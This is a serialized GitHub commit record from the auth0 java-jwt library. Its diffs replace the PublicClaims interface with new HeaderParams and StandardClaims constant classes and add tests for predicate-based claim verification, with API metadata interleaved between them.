+    public void shouldSuccessfullyVerifyClaimWithPredicate() {
+        String jwt = JWTCreator.init()
+                .withClaim("claimName", "claimValue")
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("claimName", (claim, decodedJWT) -> "claimValue".equals(claim.asString()))
+                .build();
+
+        DecodedJWT decodedJWT = verifier.verify(jwt);
+        assertThat(decodedJWT, is(notNullValue()));
+    }
+
+    @Test
+    public void shouldThrowWhenPredicateReturnsFalse() {
+        exception.expect(InvalidClaimException.class);
+        exception.expectMessage("The Claim 'claimName' value doesn't match the required one.");
+
+        String jwt = JWTCreator.init()
+                .withClaim("claimName", "claimValue")
+                .sign(Algorithm.HMAC256("secret"));
+
+        JWTVerifier.init(Algorithm.HMAC256("secret"))
+                .withClaim("claimName", (claim, decodedJWT) -> "nope".equals(claim.asString()))
+                .build()
+                .verify(jwt);
+    }
+
+    // TODO tests for:
+    //  null predicate claim handling (removed from expectedClaims)
+    //  behavior when using predicate with public claims
+
 }u}(jD?  (c7f89763d6d830a56c0e684965680d79a0695c77j?  @lib/src/test/java/com/auth0/jwt/interfaces/VerificationTest.javaj?  modifiedj?  Kj?  K j?  Kj?  https://github.com/auth0/java-jwt/blob/423a142d09bd837041e7d4aea4a9da60b5d70221/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javaj?  https://github.com/auth0/java-jwt/raw/423a142d09bd837041e7d4aea4a9da60b5d70221/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.javaj?  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerificationTest.java?ref=423a142d09bd837041e7d4aea4a9da60b5d70221j?  X  @@ -7,6 +7,7 @@
 import java.util.Date;
 import java.util.HashMap;
 import java.util.Map;
+import java.util.function.BiPredicate;
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.hasEntry;
@@ -149,6 +150,11 @@ public Verification withArrayClaim(String name, Long... items) throws IllegalArg
             return null;
         }
 
+        @Override
+        public Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate) throws IllegalArgumentException {
+            return null;
+        }
+
         @Override
         public Verification ignoreIssuedAt() {
             return null;ueu(92f7aa6555c813c04505af60b5dfe015004e8cc9}(sha(92f7aa6555c813c04505af60b5dfe015004e8cc9node_idEC_kwDOAQtL0doAKDkyZjdhYTY1NTVjODEzYzA0NTA1YWY2MGI1ZGZlMDE1MDA0ZThjYzkcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-04-12T23:48:17Zu	committer}(j?  James Andersonj?  jim.anderson@auth0.comj?  2022-04-12T23:48:17Zumessage([SDK-3226] Expose claim header constantstree}(j?  (8ec313d060ad3eae331554a42e1d478c75ac6ffburl^https://api.github.com/repos/auth0/java-jwt/git/trees/8ec313d060ad3eae331554a42e1d478c75ac6ffbuj?  `https://api.github.com/repos/auth0/java-jwt/git/commits/92f7aa6555c813c04505af60b5dfe015004e8cc9
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj?  \https://api.github.com/repos/auth0/java-jwt/commits/92f7aa6555c813c04505af60b5dfe015004e8cc9html_urlQhttps://github.com/auth0/java-jwt/commit/92f7aa6555c813c04505af60b5dfe015004e8cc9comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/92f7aa6555c813c04505af60b5dfe015004e8cc9/commentsj?  }(login
jimmyjamesidJ7 j?  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j?  'https://api.github.com/users/jimmyjamesj?  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj?  }(j?  
jimmyjamesj?  J7 j?  MDQ6VXNlcjI3NjIyNQ==j?  2https://avatars.githubusercontent.com/u/276225?v=4j @  h3j?  'https://api.github.com/users/jimmyjamesj?  https://github.com/jimmyjamesj@  1https://api.github.com/users/jimmyjames/followersj@  >https://api.github.com/users/jimmyjames/following{/other_user}j@  7https://api.github.com/users/jimmyjames/gists{/gist_id}j	@  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j@  5https://api.github.com/users/jimmyjames/subscriptionsj
@  ,https://api.github.com/users/jimmyjames/orgsj@  -https://api.github.com/users/jimmyjames/reposj@  8https://api.github.com/users/jimmyjames/events{/privacy}j@  7https://api.github.com/users/jimmyjames/received_eventsj@  Userj@  uparents]}(j?  (0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbcj?  \https://api.github.com/repos/auth0/java-jwt/commits/0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbcj?  Qhttps://github.com/auth0/java-jwt/commit/0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbcuastats}(totalM	additionsK	deletionsKrufiles](}(j?  (e15877a2ead7ae5e852c9ddb8e0f8a614182c292filename1lib/src/main/java/com/auth0/jwt/HeaderParams.javastatusaddedj1@  Kj2@  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javaraw_urlhttps://github.com/auth0/java-jwt/raw/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.java?ref=92f7aa6555c813c04505af60b5dfe015004e8cc9patchXz  @@ -0,0 +1,29 @@
+package com.auth0.jwt;
+
+/**
+ * Contains constants representing the JWT header parameter names.
+ */
+public final class HeaderParams {
+
+    private HeaderParams() {}
+
+    /**
+     * The algorithm used to sign a JWT.
+     */
+    public static String ALGORITHM = "alg";
+
+    /**
+     * The content type of a JWT.
+     */
+    public static String CONTENT_TYPE = "cty";
+
+    /**
+     * The media type of a JWT.
+     */
+    public static String TYPE = "typ";
+
+    /**
+     * The key ID of a JWT used to specify the key for signature validation.
+     */
+    public static String KEY_ID = "kid";
+}u}(j?  (f0299d22d22e9f121698481d442c52da4c7985e0j7@  /lib/src/main/java/com/auth0/jwt/JWTCreator.javaj9@  modifiedj1@  Kj2@  Kj;@  Kj<@  https://github.com/auth0/java-jwt/blob/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj>@  https://github.com/auth0/java-jwt/raw/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj@@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=92f7aa6555c813c04505af60b5dfe015004e8cc9jB@  X  @@ -104,7 +104,7 @@ public Builder withHeader(Map<String, Object> headerClaims) {
          * @return this same Builder instance.
          */
         public Builder withKeyId(String keyId) {
-            this.headerClaims.put(PublicClaims.KEY_ID, keyId);
+            this.headerClaims.put(HeaderParams.KEY_ID, keyId);
             return this;
         }
 
@@ -115,7 +115,7 @@ public Builder withKeyId(String keyId) {
          * @return this same Builder instance.
          */
         public Builder withIssuer(String issuer) {
-            addClaim(PublicClaims.ISSUER, issuer);
+            addClaim(StandardClaims.ISSUER, issuer);
             return this;
         }
 
@@ -126,7 +126,7 @@ public Builder withIssuer(String issuer) {
          * @return this same Builder instance.
          */
         public Builder withSubject(String subject) {
-            addClaim(PublicClaims.SUBJECT, subject);
+            addClaim(StandardClaims.SUBJECT, subject);
             return this;
         }
 
@@ -137,7 +137,7 @@ public Builder withSubject(String subject) {
          * @return this same Builder instance.
          */
         public Builder withAudience(String... audience) {
-            addClaim(PublicClaims.AUDIENCE, audience);
+            addClaim(StandardClaims.AUDIENCE, audience);
             return this;
         }
 
@@ -149,7 +149,7 @@ public Builder withAudience(String... audience) {
          * @return this same Builder instance.
          */
         public Builder withExpiresAt(Date expiresAt) {
-            addClaim(PublicClaims.EXPIRES_AT, expiresAt);
+            addClaim(StandardClaims.EXPIRES_AT, expiresAt);
             return this;
         }
 
@@ -161,7 +161,7 @@ public Builder withExpiresAt(Date expiresAt) {
          * @return this same Builder instance.
          */
         public Builder withExpiresAt(Instant expiresAt) {
-            addClaim(PublicClaims.EXPIRES_AT, expiresAt);
+            addClaim(StandardClaims.EXPIRES_AT, expiresAt);
             return this;
         }
 
@@ -173,7 +173,7 @@ public Builder withExpiresAt(Instant expiresAt) {
          * @return this same Builder instance.
          */
         public Builder withNotBefore(Date notBefore) {
-            addClaim(PublicClaims.NOT_BEFORE, notBefore);
+            addClaim(StandardClaims.NOT_BEFORE, notBefore);
             return this;
         }
 
@@ -185,7 +185,7 @@ public Builder withNotBefore(Date notBefore) {
          * @return this same Builder instance.
          */
         public Builder withNotBefore(Instant notBefore) {
-            addClaim(PublicClaims.NOT_BEFORE, notBefore);
+            addClaim(StandardClaims.NOT_BEFORE, notBefore);
             return this;
         }
 
@@ -197,7 +197,7 @@ public Builder withNotBefore(Instant notBefore) {
          * @return this same Builder instance.
          */
         public Builder withIssuedAt(Date issuedAt) {
-            addClaim(PublicClaims.ISSUED_AT, issuedAt);
+            addClaim(StandardClaims.ISSUED_AT, issuedAt);
             return this;
         }
 
@@ -209,7 +209,7 @@ public Builder withIssuedAt(Date issuedAt) {
          * @return this same Builder instance.
          */
         public Builder withIssuedAt(Instant issuedAt) {
-            addClaim(PublicClaims.ISSUED_AT, issuedAt);
+            addClaim(StandardClaims.ISSUED_AT, issuedAt);
             return this;
         }
 
@@ -220,7 +220,7 @@ public Builder withIssuedAt(Instant issuedAt) {
          * @return this same Builder instance.
          */
         public Builder withJWTId(String jwtId) {
-            addClaim(PublicClaims.JWT_ID, jwtId);
+            addClaim(StandardClaims.JWT_ID, jwtId);
             return this;
         }
 
@@ -543,9 +543,9 @@ public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCrea
             if (algorithm == null) {
                 throw new IllegalArgumentException("The Algorithm cannot be null.");
             }
-            headerClaims.put(PublicClaims.ALGORITHM, algorithm.getName());
-            if (!headerClaims.containsKey(PublicClaims.TYPE)) {
-                headerClaims.put(PublicClaims.TYPE, "JWT");
+            headerClaims.put(HeaderParams.ALGORITHM, algorithm.getName());
+            if (!headerClaims.containsKey(HeaderParams.TYPE)) {
+                headerClaims.put(HeaderParams.TYPE, "JWT");
             }
             String signingKeyId = algorithm.getSigningKeyId();
             if (signingKeyId != null) {u}(j?  (3114efc2344ba61b4988aaec3f25942fde8ebc47j7@  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javaj9@  modifiedj1@  Kj2@  Kj;@  K*j<@  https://github.com/auth0/java-jwt/blob/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj>@  https://github.com/auth0/java-jwt/raw/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj@@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=92f7aa6555c813c04505af60b5dfe015004e8cc9jB@  X  @@ -3,7 +3,6 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.exceptions.*;
 import com.auth0.jwt.impl.JWTParser;
-import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
@@ -70,10 +69,10 @@ public static class BaseVerification implements Verification {
         @Override
         public Verification withIssuer(String... issuer) {
             List<String> value = isNullOrEmpty(issuer) ? null : Arrays.asList(issuer);
-            checkIfNeedToRemove(PublicClaims.ISSUER, value, ((claim, decodedJWT) -> {
+            checkIfNeedToRemove(StandardClaims.ISSUER, value, ((claim, decodedJWT) -> {
                 if (value == null || !value.contains(claim.asString())) {
                     throw new IncorrectClaimException(
-                            "The Claim 'iss' value doesn't match the required issuer.", PublicClaims.ISSUER, claim);
+                            "The Claim 'iss' value doesn't match the required issuer.", StandardClaims.ISSUER, claim);
                 }
                 return true;
             }));
@@ -82,22 +81,23 @@ public Verification withIssuer(String... issuer) {
 
         @Override
         public Verification withSubject(String subject) {
-            checkIfNeedToRemove(PublicClaims.SUBJECT, subject, (claim, decodedJWT) -> subject.equals(claim.asString()));
+            checkIfNeedToRemove(StandardClaims.SUBJECT, subject, (claim, decodedJWT) ->
+                    subject.equals(claim.asString()));
             return this;
         }
 
         @Override
         public Verification withAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
-            checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
+            checkIfNeedToRemove(StandardClaims.AUDIENCE, value, ((claim, decodedJWT) ->
                     assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, true)));
             return this;
         }
 
         @Override
         public Verification withAnyOfAudience(String... audience) {
             List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
-            checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
+            checkIfNeedToRemove(StandardClaims.AUDIENCE, value, ((claim, decodedJWT) ->
                     assertValidAudienceClaim(claim, decodedJWT.getAudience(), value, false)));
             return this;
         }
@@ -112,21 +112,21 @@ public Verification acceptLeeway(long leeway) throws IllegalArgumentException {
         @Override
         public Verification acceptExpiresAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            customLeeways.put(PublicClaims.EXPIRES_AT, leeway);
+            customLeeways.put(StandardClaims.EXPIRES_AT, leeway);
             return this;
         }
 
         @Override
         public Verification acceptNotBefore(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            customLeeways.put(PublicClaims.NOT_BEFORE, leeway);
+            customLeeways.put(StandardClaims.NOT_BEFORE, leeway);
             return this;
         }
 
         @Override
         public Verification acceptIssuedAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            customLeeways.put(PublicClaims.ISSUED_AT, leeway);
+            customLeeways.put(StandardClaims.ISSUED_AT, leeway);
             return this;
         }
 
@@ -138,7 +138,7 @@ public Verification ignoreIssuedAt() {
 
         @Override
         public Verification withJWTId(String jwtId) {
-            checkIfNeedToRemove(PublicClaims.JWT_ID, jwtId, ((claim, decodedJWT) -> jwtId.equals(claim.asString())));
+            checkIfNeedToRemove(StandardClaims.JWT_ID, jwtId, ((claim, decodedJWT) -> jwtId.equals(claim.asString())));
             return this;
         }
 
@@ -264,17 +264,17 @@ public long getLeewayFor(String name) {
         }
 
         private void addMandatoryClaimChecks() {
-            long expiresAtLeeway = getLeewayFor(PublicClaims.EXPIRES_AT);
-            long notBeforeLeeway = getLeewayFor(PublicClaims.NOT_BEFORE);
-            long issuedAtLeeway = getLeewayFor(PublicClaims.ISSUED_AT);
-
-            expectedChecks.put(PublicClaims.EXPIRES_AT, (claim, decodedJWT) ->
-                    assertValidInstantClaim(PublicClaims.EXPIRES_AT, claim, expiresAtLeeway, true));
-            expectedChecks.put(PublicClaims.NOT_BEFORE, (claim, decodedJWT) ->
-                    assertValidInstantClaim(PublicClaims.NOT_BEFORE, claim, notBeforeLeeway, false));
+            long expiresAtLeeway = getLeewayFor(StandardClaims.EXPIRES_AT);
+            long notBeforeLeeway = getLeewayFor(StandardClaims.NOT_BEFORE);
+            long issuedAtLeeway = getLeewayFor(StandardClaims.ISSUED_AT);
+
+            expectedChecks.put(StandardClaims.EXPIRES_AT, (claim, decodedJWT) ->
+                    assertValidInstantClaim(StandardClaims.EXPIRES_AT, claim, expiresAtLeeway, true));
+            expectedChecks.put(StandardClaims.NOT_BEFORE, (claim, decodedJWT) ->
+                    assertValidInstantClaim(StandardClaims.NOT_BEFORE, claim, notBeforeLeeway, false));
             if (!ignoreIssuedAt) {
-                expectedChecks.put(PublicClaims.ISSUED_AT, (claim, decodedJWT) ->
-                        assertValidInstantClaim(PublicClaims.ISSUED_AT, claim, issuedAtLeeway, false));
+                expectedChecks.put(StandardClaims.ISSUED_AT, (claim, decodedJWT) ->
+                        assertValidInstantClaim(StandardClaims.ISSUED_AT, claim, issuedAtLeeway, false));
             }
         }
 
@@ -337,7 +337,7 @@ private boolean assertValidAudienceClaim(
             if (audience == null || (shouldContainAll && !audience.containsAll(values))
                     || (!shouldContainAll && Collections.disjoint(audience, values))) {
                 throw new IncorrectClaimException(
-                        "The Claim 'aud' value doesn't contain the required audience.", PublicClaims.AUDIENCE, claim);
+                        "The Claim 'aud' value doesn't contain the required audience.", StandardClaims.AUDIENCE, claim);
             }
             return true;
         }uZ     }(j?  (4fe82d64cc251b7adbe2245c366ac24ddb140cb1j7@  3lib/src/main/java/com/auth0/jwt/StandardClaims.javaj9@  addedj1@  K0j2@  K j;@  K0j<@  https://github.com/auth0/java-jwt/blob/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FStandardClaims.javaj>@  https://github.com/auth0/java-jwt/raw/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FStandardClaims.javaj@@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FStandardClaims.java?ref=92f7aa6555c813c04505af60b5dfe015004e8cc9jB@  X  @@ -0,0 +1,48 @@
+package com.auth0.jwt;
+
+/**
+ * Contains constants representing the name of the Registered Claim Names as defined in Section 4.1.1 of
+ * <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1">RFC 7529</a>
+ */
+public final class StandardClaims {
+
+    private StandardClaims() {
+    }
+
+    /**
+     * The "iss" (issuer) claim identifies the principal that issued the JWT.
+     */
+    public static String ISSUER = "iss";
+
+    /**
+     * The "sub" (subject) claim identifies the principal that is the subject of the JWT.
+     */
+    public static String SUBJECT = "sub";
+
+    /**
+     * The "aud" (audience) claim identifies the recipients that the JWT is intended for.
+     */
+    public static String AUDIENCE = "aud";
+
+    /**
+     * The "exp" (expiration time) claim identifies the expiration time on or after which the JWT MUST NOT be
+     * accepted for processing.
+     */
+    public static String EXPIRES_AT = "exp";
+
+    /**
+     * The "nbf" (not before) claim identifies the time before which the JWT MUST NOT be accepted for processing.
+     */
+    public static String NOT_BEFORE = "nbf";
+
+    /**
+     * The "iat" (issued at) claim identifies the time at which the JWT was issued.
+     */
+    public static String ISSUED_AT = "iat";
+
+    /**
+     * The "jti" (JWT ID) claim provides a unique identifier for the JWT.
+     */
+    public static String JWT_ID = "jti";
+
+}u}(j?  (9293fd4daf9482ef2518a29cacf3134305e10280j7@  <lib/src/main/java/com/auth0/jwt/impl/HeaderDeserializer.javaj9@  modifiedj1@  Kj2@  Kj;@  K	j<@  https://github.com/auth0/java-jwt/blob/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javaj>@  https://github.com/auth0/java-jwt/raw/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.javaj@@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializer.java?ref=92f7aa6555c813c04505af60b5dfe015004e8cc9jB@  X1  @@ -1,5 +1,6 @@
 package com.auth0.jwt.impl;
 
+import com.auth0.jwt.HeaderParams;
 import com.auth0.jwt.exceptions.JWTDecodeException;
 import com.fasterxml.jackson.core.JsonParser;
 import com.fasterxml.jackson.core.type.TypeReference;
@@ -40,10 +41,10 @@ public BasicHeader deserialize(JsonParser p, DeserializationContext ctxt) throws
             throw new JWTDecodeException("Parsing the Header's JSON resulted on a Null map");
         }
 
-        String algorithm = getString(tree, PublicClaims.ALGORITHM);
-        String type = getString(tree, PublicClaims.TYPE);
-        String contentType = getString(tree, PublicClaims.CONTENT_TYPE);
-        String keyId = getString(tree, PublicClaims.KEY_ID);
+        String algorithm = getString(tree, HeaderParams.ALGORITHM);
+        String type = getString(tree, HeaderParams.TYPE);
+        String contentType = getString(tree, HeaderParams.CONTENT_TYPE);
+        String keyId = getString(tree, HeaderParams.KEY_ID);
         return new BasicHeader(algorithm, type, contentType, keyId, tree, objectReader);
     }
 u}(j?  (4d05882609e66dc09b79424818ce1c1d33d08f8dj7@  =lib/src/main/java/com/auth0/jwt/impl/PayloadDeserializer.javaj9@  modifiedj1@  Kj2@  Kj;@  Kj<@  https://github.com/auth0/java-jwt/blob/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj>@  https://github.com/auth0/java-jwt/raw/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj@@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.java?ref=92f7aa6555c813c04505af60b5dfe015004e8cc9jB@  XL  @@ -1,5 +1,6 @@
 package com.auth0.jwt.impl;
 
+import com.auth0.jwt.StandardClaims;
 import com.auth0.jwt.exceptions.JWTDecodeException;
 import com.auth0.jwt.interfaces.Payload;
 import com.fasterxml.jackson.core.JsonParser;
@@ -43,13 +44,13 @@ public Payload deserialize(JsonParser p, DeserializationContext ctxt) throws IOE
             throw new JWTDecodeException("Parsing the Payload's JSON resulted on a Null map");
         }
 
-        String issuer = getString(tree, PublicClaims.ISSUER);
-        String subject = getString(tree, PublicClaims.SUBJECT);
-        List<String> audience = getStringOrArray(tree, PublicClaims.AUDIENCE);
-        Instant expiresAt = getInstantFromSeconds(tree, PublicClaims.EXPIRES_AT);
-        Instant notBefore = getInstantFromSeconds(tree, PublicClaims.NOT_BEFORE);
-        Instant issuedAt = getInstantFromSeconds(tree, PublicClaims.ISSUED_AT);
-        String jwtId = getString(tree, PublicClaims.JWT_ID);
+        String issuer = getString(tree, StandardClaims.ISSUER);
+        String subject = getString(tree, StandardClaims.SUBJECT);
+        List<String> audience = getStringOrArray(tree, StandardClaims.AUDIENCE);
+        Instant expiresAt = getInstantFromSeconds(tree, StandardClaims.EXPIRES_AT);
+        Instant notBefore = getInstantFromSeconds(tree, StandardClaims.NOT_BEFORE);
+        Instant issuedAt = getInstantFromSeconds(tree, StandardClaims.ISSUED_AT);
+        String jwtId = getString(tree, StandardClaims.JWT_ID);
 
         return new PayloadImpl(issuer, subject, audience, expiresAt, notBefore, issuedAt, jwtId, tree, objectReader);
     }u}(j?  (1d2ada4332a24fd487dfabd985c82ac35522ff43j7@  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj9@  modifiedj1@  Kj2@  Kj;@  Kj<@  https://github.com/auth0/java-jwt/blob/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj>@  https://github.com/auth0/java-jwt/raw/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj@@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=92f7aa6555c813c04505af60b5dfe015004e8cc9jB@  X.  @@ -1,5 +1,6 @@
 package com.auth0.jwt.impl;
 
+import com.auth0.jwt.StandardClaims;
 import com.fasterxml.jackson.core.JsonGenerator;
 
 import java.io.IOException;
@@ -22,7 +23,7 @@ public PayloadSerializer() {
 
     @Override
     protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) throws IOException {
-        if (PublicClaims.AUDIENCE.equals(entry.getKey())) {
+        if (StandardClaims.AUDIENCE.equals(entry.getKey())) {
             writeAudience(gen, entry);
         } else {
             super.writeClaim(entry, gen);u}(j?  (ea166b0d337191043019e43d588b53e66328dd9cj7@  6lib/src/main/java/com/auth0/jwt/impl/PublicClaims.javaj9@  removedj1@  K j2@  Kj;@  Kj<@  https://github.com/auth0/java-jwt/blob/0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.javaj>@  https://github.com/auth0/java-jwt/raw/0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbc/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.javaj@@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPublicClaims.java?ref=0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbcjB@  X  @@ -1,23 +0,0 @@
-package com.auth0.jwt.impl;
-
-/**
- * Contains the claim name for all Public claims.
- */
-public interface PublicClaims {
-
-    //Header
-    String ALGORITHM = "alg";
-    String CONTENT_TYPE = "cty";
-    String TYPE = "typ";
-    String KEY_ID = "kid";
-
-    //Payload
-    String ISSUER = "iss";
-    String SUBJECT = "sub";
-    String EXPIRES_AT = "exp";
-    String NOT_BEFORE = "nbf";
-    String ISSUED_AT = "iat";
-    String JWT_ID = "jti";
-    String AUDIENCE = "aud";
-
-}u}(j?  (b28035f876d476da718f6a880847e653b28468e7j7@  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj9@  modifiedj1@  K
j2@  Kj;@  Kj<@  https://github.com/auth0/java-jwt/blob/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj>@  https://github.com/auth0/java-jwt/raw/92f7aa6555c813c04505af60b5dfe015004e8cc9/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj@@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=92f7aa6555c813c04505af60b5dfe015004e8cc9jB@  Xr  @@ -1,7 +1,6 @@
 package com.auth0.jwt;
 
 import com.auth0.jwt.algorithms.Algorithm;
-import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
@@ -92,7 +91,7 @@ public void shouldReturnBuilderIfNullMapIsProvided() {
     @Test
     public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         Map<String, Object> header = new HashMap<>();
-        header.put(PublicClaims.KEY_ID, "xyz");
+        header.put(HeaderParams.KEY_ID, "xyz");
 
         String signed = JWTCreator.init()
                 .withKeyId("abc")
@@ -102,13 +101,13 @@ public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
         String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry(PublicClaims.KEY_ID, "xyz"));
+        assertThat(headerJson, JsonMatcher.hasEntry(HeaderParams.KEY_ID, "xyz"));
     }
 
     @Test
     public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
         Map<String, Object> header = new HashMap<>();
-        header.put(PublicClaims.KEY_ID, "xyz");
+        header.put(HeaderParams.KEY_ID, "xyz");
 
         String signed = JWTCreator.init()
                 .withHeader(header)
@@ -118,13 +117,13 @@ public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
         assertThat(signed, is(notNullValue()));
         String[] parts = signed.split("\\.");
         String headerJson = new String(Base64.getUrlDecoder().decode(parts[0]), StandardCharsets.UTF_8);
-        assertThat(headerJson, JsonMatcher.hasEntry(PublicClaims.KEY_ID, "abc"));
+        assertThat(headerJson, JsonMatcher.hasEntry(HeaderParams.KEY_ID, "abc"));
     }
 
     @Test
     public void shouldRemoveHeaderIfTheValueIsNull() {
         Map<String, Object> header = new HashMap<>();
-        header.put(PublicClaims.KEY_ID, null);
+        header.put(HeaderParams.KEY_ID, null);
         header.put("test2", "isSet");
 
         String signed = JWTCreator.init()
